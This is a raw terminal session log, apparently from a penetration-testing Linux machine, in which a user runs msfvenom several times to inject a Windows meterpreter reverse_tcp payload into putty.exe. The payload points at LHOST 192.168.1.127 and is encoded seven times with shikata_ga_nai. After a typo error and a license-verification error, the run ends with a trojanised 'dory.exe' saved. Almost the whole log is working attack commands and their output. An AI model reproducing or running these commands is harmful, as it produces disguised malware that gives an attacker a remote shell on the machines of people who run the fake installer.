_ ___ __ __ __ ____ __ __
| | / (_)___ _________ ___ ____ / /_____ / // / / __ \/ // /
| | / / / __ \/ ___/ __ `__ \/ __ \/ //_/ _ \ / // /_/ / / / // /_
| |/ / / / / (__ ) / / / / / /_/ / ,< / __/ /__ __/ /_/ /__ __/
|___/_/_/ /_/____/_/ /_/ /_/\____/_/|_|\___/ /_/ \____/ /_/
fapoz@Vinsmoke:~$ cd /home/fapoz/Downloads
fapoz@Vinsmoke:~/Downloads$ sudo msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse/_tcp LHOST=192.168.1.127 LPORT=6379 -e x86/shikata_ga_nai -i 7 -f exe -o puttydoor.exe
[sudo] password for fapoz:
Error: Invalid Payload Selected
fapoz@Vinsmoke:~/Downloads$ su
Password:
su: Authentication failure
fapoz@Vinsmoke:~/Downloads$ sudo su
root@Vinsmoke:/home/fapoz/Downloads# msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.127 LPORT=5037 -e x86/shikata_ga_nai -i 7 -f exe -o dory.exe
Found 1 compatible encoders
Attempting to encode payload with 7 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai succeeded with size 495 (iteration=5)
x86/shikata_ga_nai succeeded with size 522 (iteration=6)
x86/shikata_ga_nai chosen with final size 522
Payload size: 522 bytes
Error: The template to inject to appears to have license verification (warbird)
root@Vinsmoke:/home/fapoz/Downloads# msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.127 LPORT=5037 -e x86/shikata_ga_nai -i 7 -f exe -o dory.exe
Found 1 compatible encoders
Attempting to encode payload with 7 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai succeeded with size 495 (iteration=5)
x86/shikata_ga_nai succeeded with size 522 (iteration=6)
x86/shikata_ga_nai chosen with final size 522
Payload size: 522 bytes
Saved as: dory.exe
root@Vinsmoke:/home/fapoz/Downloads#